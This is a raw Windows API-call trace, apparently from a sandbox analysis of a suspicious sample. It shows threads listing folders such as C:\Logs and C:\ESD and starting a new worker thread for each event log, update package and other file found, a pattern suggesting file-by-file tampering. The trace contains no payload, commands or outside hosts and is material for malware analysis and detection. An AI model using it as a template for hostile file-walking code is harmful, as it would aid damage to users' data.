[0059.023] wcscmp (_String1="UiInfo.xml", _String2="..") returned 1 [0059.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x341c6b0 [0059.023] wcscpy (in: _Dest=0x341c6b0, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0059.023] wcscat (in: _Dest=0x341c6b0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0059.023] wcscat (in: _Dest=0x341c6b0, _Source="UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\UiInfo.xml" [0059.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341c6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0059.024] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0059.024] wcscmp (_String1="watermark.bmp", _String2=".") returned 1 [0059.024] wcscmp (_String1="watermark.bmp", _String2="..") returned 1 [0059.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x341c750 [0059.024] wcscpy (in: _Dest=0x341c750, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0059.024] wcscat (in: _Dest=0x341c750, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0059.024] wcscat (in: _Dest=0x341c750, _Source="watermark.bmp" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp") returned="C:\\588bce7c90097ed212\\watermark.bmp" [0059.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341c750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0059.025] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0059.025] wcscmp (_String1="Windows6.0-KB956250-v6001-x64.msu", _String2=".") returned 1 [0059.025] wcscmp (_String1="Windows6.0-KB956250-v6001-x64.msu", _String2="..") returned 1 [0059.025] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0059.025] wcscmp (_String1="Windows6.0-KB956250-v6001-x86.msu", _String2=".") returned 1 [0059.025] wcscmp (_String1="Windows6.0-KB956250-v6001-x86.msu", _String2="..") returned 1 [0059.025] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0059.025] wcscmp (_String1="Windows6.1-KB958488-v6001-x64.msu", _String2=".") returned 1 [0059.025] wcscmp (_String1="Windows6.1-KB958488-v6001-x64.msu", _String2="..") returned 1 [0059.025] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0059.025] wcscmp (_String1="Windows6.1-KB958488-v6001-x86.msu", _String2=".") returned 1 [0059.025] wcscmp (_String1="Windows6.1-KB958488-v6001-x86.msu", _String2="..") returned 1 [0059.025] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0059.025] FindClose (in: hFindFile=0x33dfb18 | out: hFindFile=0x33dfb18) returned 1 [0059.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e880) returned 1 [0059.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ba28) returned 1 [0059.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c85a0) returned 1 [0059.026] RtlExitUserThread (Status=0x0) Thread: id = 16 os_tid = 0xb84 [0058.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x33dff18 [0058.388] wcscpy (in: _Dest=0x33dff18, _Source="C:\\Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0058.388] wcscat (in: _Dest=0x33dff18, _Source="\\" | out: _Dest="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0058.389] wcscat (in: _Dest=0x33dff18, _Source="*" | out: _Dest="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0058.389] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34203c0 [0058.389] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0058.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34203c0) returned 1 [0058.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dff18) returned 1 [0058.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfc18) returned 1 [0058.395] RtlExitUserThread (Status=0x0) Thread: id = 17 os_tid = 0xd20 [0058.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12) returned 0x33e19d0 [0058.392] wcscpy (in: _Dest=0x33e19d0, _Source="C:\\ESD" | out: _Dest="C:\\ESD") returned="C:\\ESD" [0058.392] wcscat (in: _Dest=0x33e19d0, _Source="\\" | out: _Dest="C:\\ESD\\") returned="C:\\ESD\\" [0058.392] wcscat (in: _Dest=0x33e19d0, _Source="*" | out: _Dest="C:\\ESD\\*") returned="C:\\ESD\\*" [0058.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3420618 [0058.392] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x3420618 | out: lpFindFileData=0x3420618*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e00d8 [0058.787] wcscmp (_String1=".", _String2=".") returned 0 [0058.787] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x3420618 | out: lpFindFileData=0x3420618*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.787] wcscmp (_String1="..", _String2=".") returned 1 [0058.787] wcscmp (_String1="..", _String2="..") returned 0 [0058.787] FindNextFileW (in: hFindFile=0x33e00d8, lpFindFileData=0x3420618 | out: lpFindFileData=0x3420618*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0058.787] FindClose (in: hFindFile=0x33e00d8 | out: hFindFile=0x33e00d8) returned 1 [0058.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420618) returned 1 [0058.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e19d0) returned 1 [0058.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a200) returned 1 [0058.788] RtlExitUserThread (Status=0x0) Thread: id = 18 os_tid = 0xecc [0058.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14) returned 0x33e19f0 [0058.396] wcscpy (in: _Dest=0x33e19f0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.396] wcscat (in: _Dest=0x33e19f0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.396] wcscat (in: _Dest=0x33e19f0, _Source="*" | out: _Dest="C:\\Logs\\*") returned="C:\\Logs\\*" [0058.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34203c0 [0058.396] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfa58 [0058.668] wcscmp (_String1=".", _String2=".") returned 0 [0058.668] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.673] wcscmp (_String1="..", _String2=".") returned 1 [0058.673] wcscmp (_String1="..", _String2="..") returned 0 [0058.673] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0058.673] wcscmp (_String1="Application.evtx", _String2=".") returned 1 [0058.673] wcscmp (_String1="Application.evtx", _String2="..") returned 1 [0058.673] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x33e0758 [0058.673] wcscpy (in: _Dest=0x33e0758, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.673] wcscat (in: _Dest=0x33e0758, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.673] wcscat (in: _Dest=0x33e0758, _Source="Application.evtx" | out: _Dest="C:\\Logs\\Application.evtx") returned="C:\\Logs\\Application.evtx" [0058.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e0758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0058.830] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0058.830] wcscmp (_String1="HardwareEvents.evtx", _String2=".") returned 1 [0058.830] wcscmp (_String1="HardwareEvents.evtx", _String2="..") returned 1 [0058.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x33e00d8 [0058.830] wcscpy (in: _Dest=0x33e00d8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.830] wcscat (in: _Dest=0x33e00d8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.830] wcscat (in: _Dest=0x33e00d8, _Source="HardwareEvents.evtx" | out: _Dest="C:\\Logs\\HardwareEvents.evtx") returned="C:\\Logs\\HardwareEvents.evtx" [0058.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e00d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0058.831] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0058.831] wcscmp (_String1="Internet Explorer.evtx", _String2=".") returned 1 [0058.831] wcscmp (_String1="Internet Explorer.evtx", _String2="..") returned 1 [0058.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fd4c0 [0058.831] wcscpy (in: _Dest=0x33fd4c0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.831] wcscat (in: _Dest=0x33fd4c0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.831] wcscat (in: _Dest=0x33fd4c0, _Source="Internet Explorer.evtx" | out: _Dest="C:\\Logs\\Internet Explorer.evtx") returned="C:\\Logs\\Internet Explorer.evtx" [0058.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fd4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0058.832] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0058.832] wcscmp (_String1="Key Management Service.evtx", _String2=".") returned 1 [0058.832] wcscmp (_String1="Key Management Service.evtx", _String2="..") returned 1 [0058.832] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x341cb60 [0058.832] wcscpy (in: _Dest=0x341cb60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.832] wcscat (in: _Dest=0x341cb60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.832] wcscat (in: _Dest=0x341cb60, _Source="Key Management Service.evtx" | out: _Dest="C:\\Logs\\Key Management Service.evtx") returned="C:\\Logs\\Key Management Service.evtx" [0058.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341cb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0058.833] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0058.833] wcscmp (_String1="Microsoft-Client-Licensing-Platform%4Admin.evtx", _String2=".") returned 1 [0058.833] wcscmp (_String1="Microsoft-Client-Licensing-Platform%4Admin.evtx", _String2="..") returned 1 [0058.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c43c0 [0058.833] wcscpy (in: _Dest=0x33c43c0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.833] wcscat (in: _Dest=0x33c43c0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.833] wcscat (in: _Dest=0x33c43c0, _Source="Microsoft-Client-Licensing-Platform%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" [0058.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c43c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0058.834] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0058.834] wcscmp (_String1="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", _String2=".") returned 1 [0058.834] wcscmp (_String1="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", _String2="..") returned 1 [0058.834] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e3988 [0058.834] wcscpy (in: _Dest=0x33e3988, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.834] wcscat (in: _Dest=0x33e3988, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.834] wcscat (in: _Dest=0x33e3988, _Source="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" [0058.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e3988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0058.835] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0058.835] wcscmp (_String1="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", _String2=".") returned 1 [0058.835] wcscmp (_String1="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", _String2="..") returned 1 [0058.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6678 [0058.835] wcscpy (in: _Dest=0x33e6678, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.835] wcscat (in: _Dest=0x33e6678, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.835] wcscat (in: _Dest=0x33e6678, _Source="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" [0058.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0058.836] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0058.836] wcscmp (_String1="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", _String2=".") returned 1 [0058.836] wcscmp (_String1="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", _String2="..") returned 1 [0058.836] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x33c4180 [0058.836] wcscpy (in: _Dest=0x33c4180, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.836] wcscat (in: _Dest=0x33c4180, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.836] wcscat (in: _Dest=0x33c4180, _Source="Microsoft-Windows-AppLocker%4EXE and DLL.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" [0058.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c4180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0058.837] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0058.837] wcscmp (_String1="Microsoft-Windows-AppLocker%4MSI and Script.evtx", _String2=".") returned 1 [0058.837] wcscmp (_String1="Microsoft-Windows-AppLocker%4MSI and Script.evtx", _String2="..") returned 1 [0058.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd170 [0058.837] wcscpy (in: _Dest=0x33cd170, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0058.837] wcscat (in: _Dest=0x33cd170, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0058.837] wcscat (in: _Dest=0x33cd170, _Source="Microsoft-Windows-AppLocker%4MSI and Script.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" [0058.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0058.838] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, 